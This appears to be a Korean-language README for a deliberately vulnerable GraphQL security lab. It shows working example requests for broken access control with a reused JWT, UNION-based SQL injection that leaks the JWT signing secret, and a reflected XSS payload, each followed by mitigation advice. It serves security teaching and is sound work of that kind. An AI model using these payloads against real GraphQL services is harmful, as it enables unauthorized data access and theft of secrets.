
AppSec 관점에서의 GraphQL 연구
다양한 문제를 연구하기 위해 랩이 만들어졌습니다. 이 랩은 개의 건강 관리를 하는 수의사의 맥락을 취합니다.
랩은 IntelliJ IDEA Community Edition을 사용하여 개발되었습니다.
사용된 도메인은 다음과 같습니다:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
실험실 조건 및 가정은 다음과 같습니다:
* 수의사는 0마리 또는 N마리의 개와 연결될 수 있습니다.
* 개는 0명 또는 1명의 수의사와 연결될 수 있습니다.
* 수의사는 저장 시스템(데이터베이스)에 **Popularity**라는 속성을 가지고 있지만, 민감한 정보이므로 GraphQL 클라이언트가 접근해서는 안 됩니다.
* GraphQL 데이터 소비 관점은 수의사입니다. 개 정보는 공개입니다.
* 이 실험실은 여러 취약점이 구현되어 있으며, 주석에 `[VULN]` 표시를 통해 식별되는 취약한 애플리케이션입니다.
* 인증과 관련하여, 가짜 타사 서비스가 (서블릿을 통해) 구현되었으며, 토큰에 수의사 이름을 포함하는 JWT 토큰을 반환합니다.
프로젝트에 있는 실행 설정 또는 명령줄 `mvn spring-boot:run`을 통해 시작되면, 실험실은 다음 엔드포인트에서 사용 가능합니다:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
애플리케이션을 이식 가능한 jar 파일로 패키징하려면 `mvn package` 명령을 사용하세요 (사전 빌드된 jar 파일은 [여기](https://github.com/righettod/poc-graphql/releases)에서 확인 가능):
* jar 파일은 *target* 폴더에 생성되며, 이름은 *graphql-poc.jar*입니다.
* 애플리케이션을 실행하려면 `java -jar graphql-poc.jar` 명령을 사용하세요.
## Deploying on Docker
> 이미지는 매일 [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)에 게시됩니다.
Docker 컨테이너에 애플리케이션을 배포하려면 다음 단계를 따르세요:
1. `docker`가 설치되어 있는지 확인하세요.
2. 저장소를 `git clone`하세요.
3. 클론된 디렉토리로 이동하세요.
4. `docker build -t poc-graphql .`를 사용하여 Docker 이미지를 빌드하세요.
5. 이제 **poc-graphql:latest**라는 이미지가 머신에 생성되었습니다.
6. `docker run -p 8080:8080 poc-graphql:latest`를 사용하여 컨테이너를 실행하세요.
7. 다음 엔드포인트를 사용하여 실험실에 접근하세요:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## Security weaknesses
### Authorization
*깨진 접근 제어*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### Issue
GraphQL은 모든 요청이 전송되는 단일 엔드포인트를 기반으로 하며, 인증은 사양의 범위를 벗어나므로(내장 기능 없음), 애플리케이션이 인증 로직을 구현하는 것은 애플리케이션의 책임입니다.
제 실험실에서는 이 지점에 취약점이 있습니다. 액세스 토큰 검증이 토큰이 **veterinaryId**에 전달된 수의사에게 속하는지 확인하지 않기 때문입니다.
**예시:**
저장소에서 식별자 **3**을 가진 **Dr Julien**에 대한 액세스 토큰을 요청하기 위해 다음 GraphQL 요청을 보냅니다:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
다음 GraphQL 응답에서 액세스 토큰을 받습니다:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
얻은 액세스 토큰을 사용하여 `myInfo(...)` 쿼리에 GraphQL 요청을 보내지만, **Dr Benoit**의 식별자인 **2**를 지정합니다:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
나는 GraphQL 응답에서 Dr Benoit와(과) 연결된 Dogs 목록을 받습니다:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### 권장 사항
GraphQL을 사용하면 `Role x Feature`를 사용한 인가 매트릭스에서 `Role x Data`를 사용한 데이터 수준 보안으로 전환되었습니다. 이는 단일 엔드포인트이기 때문입니다. 사용자 ID와 역할은 데이터를 가져오기 전에 사용자 ID를 사용한 검증을 적용하기 위해 데이터를 가져오는(또는 데이터에 대해 작업하는) 상위 계층에 전달되어야 합니다.
### 인젝션
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### 문제
GraphQL 서버가 데이터 저장소에 대해 작업할 때 GraphQL 요청 쿼리/뮤테이션/서브스크립션의 정보를 사용하는 방식에 따라 인젝션 가능성이 있습니다.
제 연구실에서는 `dogs(namePrefix: String, limit: Int = 500): [Dog!]` 쿼리에서 SQLi에 관한 취약점이 있습니다. **namePrefix** 매개변수가 SQL 쿼리를 구성하기 위해 문자열 연결에 사용되기 때문입니다.
**예시:**
`CONFIG` 테이블의 내용을 나열하기 위해 다음 GraphQL 요청을 보냅니다.```javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
나는 GraphQL 응답에서 JWT 토큰 서명에 사용된 비밀과 이름이 ab로 시작하는 개의 이름을 함께 받습니다:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
XSS에 관해서, 재미있는 점은 GraphQL 응답이 전송된 요청의 유효성 검사가 실패할 경우 전달된 파라미터를 반영한다는 것입니다.
**예시:**
다음 GraphQL 요청을 `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary` 쿼리에 전송합니다. Veterinary 식별자(정수형)를 String XSS 페이로드로 대체합니다:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
내 페이로드를 반영하는 이 GraphQL 응답을 받았습니다. 따라서 GraphQL 클라이언트와 그 이스케이핑/새니타이징 동작에 따라 XSS에 문을 열어줄 수 있습니다:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### Reco
* Query/Mutation/Subscription을 통해 수신된 데이터에 대해 사용 전에 입력 검증을 적용합니다.
* GraphQL 응답에서 데이터를 렌더링하는 클라이언트가 데이터를 렌더링하기 전에 이스케이프/새니타이제이션을 적용하도록 합니다.
### 리소스 고갈
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### 문제
클라이언트가 요청하는 데이터 양을 제어할 수 있기 때문에, GraphQL 서버가 호출하는 스토리지와 GraphQL 서버 자체(데이터를 JSON으로 직렬화하는 과정)에 리소스 고갈을 일으키는 쿼리를 요청하는 GraphQL 요청을 보낼 수 있습니다.
이 문제는 변이(mutation)를 사용하여 매개변수에 많은 양의 데이터를 보내는 방식으로도 발생할 수 있습니다(이 공격을 방지하기 위해 입력 검증을 사용할 수 있습니다).
이 문제는 구독(subscription)을 사용하여 다음과 같은 방식으로도 발생할 수 있습니다:
* 노출된 각 구독에 대해 대량의 구독자를 등록합니다.
* 구독에서 사용되는 매개변수에 많은 양의 데이터를 보냅니다.
제 실험실에서 쿼리, 특히 익명 사용자가 사용할 수 있고 Dog에 관한 DB 내용을 검색하는 `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` 쿼리에서 이 지점에 취약점이 있습니다. Dogs와 Veterinary 간에 관계가 있고 그 역도 성립하므로, DB의 SQL 수준에서 리소스 고갈을 일으키는 연쇄 호출을 수행할 수 있습니다.
**예시:**